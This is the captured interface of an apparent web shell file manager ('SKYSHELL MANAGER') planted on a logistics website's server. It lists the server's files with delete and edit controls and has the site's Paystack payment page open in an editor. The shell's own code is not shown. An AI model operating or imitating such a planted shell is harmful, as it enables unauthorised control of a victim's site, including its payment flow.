📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chblogistics.com
/
8f313d
/
Name
Size
Permissions
Actions
📁
..
-
0555
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
6.29 KB
0644
🗑️
⬇️
✏️
🔒
📄
index.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
Editing: stackindex.php
<?php // $path = __DIR__ . "/tmp_sessions"; // Create folder if missing // if (!is_dir($path)) { // mkdir($path, 0700, true); // } // session_save_path($path); // session_start(); ?><?php include "header.php"; ?> <body onLoad="getLocation()"> <!-- ======= Header ======= --> <header id="header" class="fixed-top"> <div class="container d-flex align-items-center"> <h1 class="logo mr-auto"><a href="index.php"><img src="assets/img/apple-touch-icon.png"/></a></h1> <!-- Uncomment below if you prefer to use an image logo --> <!-- <a href="index.html" class="logo mr-auto"><img src="assets/img/logo.png" alt="" class="img-fluid"></a>--> <nav class="nav-menu d-none d-lg-block"> <ul> <li><a class="nav-link scrollto active" href="index.php">Home</a></li> <li><a class="nav-link scrollto " href="track.php">Track Order</a></li> <li><a class="nav-link scrollto" href="part.php">Bike Hire</a></li> <li><a class="nav-link scrollto" href="book.php">Customer Portal</a></li> <li><a class="nav-link scrollto" href="faq.php">FAQ</a></li> <li><a class="nav-link scrollto" href="incon.php">Contact Us</a></li> <li><a class="nav-link scrollto" href="compa.php">Report Issues</a></li> </ul> </nav><!-- .nav-menu --> </div> </header><!-- End Header --> <main id="main"> <!-- ======= Track and Book Section ======= --> <section id="about" class="about"> <div class="container" data-aos="fade-up"> <div class="row content"> <div class="col-lg-12" style="padding:20px;"> <H3 align="center">PAYSTACK PAYMENT METHOD</H3> <p> <form id="paymentForm"> <input type="email" id="email-address" class="form-control" value=" <?php echo $_SESSION['email']; ?> " placeholder="Enter Email" required /> <input type="hidden" id="amount" value=" <?php echo $_SESSION['cost']; ?> "/> </p> <p> <input type="text" id="first-name" class="form-control" name="mail" value="<?php echo $_SESSION['name']; ?> " placeholder="Enter Name" required> <input type="hidden" id="ref" style="border:0; width:300px; color:#fff; outline:0; background:transparent; border-bottom:2px solid #fff;" value="<?php echo $_SESSION['ide']; ?> " placeholder="Enter Name" /> <input type="hidden" id="refer" style="border:0; width:390px; outline:0; background:transparent; border-bottom:2px solid #fff;" value="https://chblogistics.com/sucess.php?ref=<?php echo $_SESSION['ide']; ?>" placeholder="Enter Name" /> </p> <p> <input type="tel" id="mobile-number" class="form-control" value=" <?php echo $_SESSION['phone']; ?> " placeholder="Enter Phone Number"/> </p> <p align="center"><input type="submit" name"submit" onClick="payWithPaystack()" value="Pay Now" class="submitn" required /></p> </form> </div> <script src="https://js.paystack.co/v1/inline.js"></script> <script type="text/javascript">const paymentForm = document.getElementById('paymentForm'); paymentForm.addEventListener("submit", payWithPaystack, false); function payWithPaystack(e) { e.preventDefault(); let handler = PaystackPop.setup({ key: 'pk_test_6db1d70665f7fea8b56f3ebd12c79eb31f2f9f10', // Replace with your public key pk_live_e1bd7f3940dbf48ba9b658862a82ec1b55d9ec3d email: document.getElementById("email-address").value, amount: document.getElementById("amount").value * 100, ref: document.getElementById("ref").Value, // generates a pseudo-unique reference. Please replace with a reference you generated. Or remove the line entirely so our API will generate one for you // label: "Optional string that replaces customer email" metadata: { custom_fields: [ { display_name: "Mobile Number", variable_name: "mobile_number", value: document.getElementById("mobile-number").value, } ] }, onClose: function(){ alert('Window closed.'); }, callback: function(response){ window.location.href = document.getElementById("refer").value; } }); handler.openIframe(); }</script> </div> </section><!-- Book Section --> </main><!-- End #main --> <?php include "footer.php"; ?>
💾 Save Changes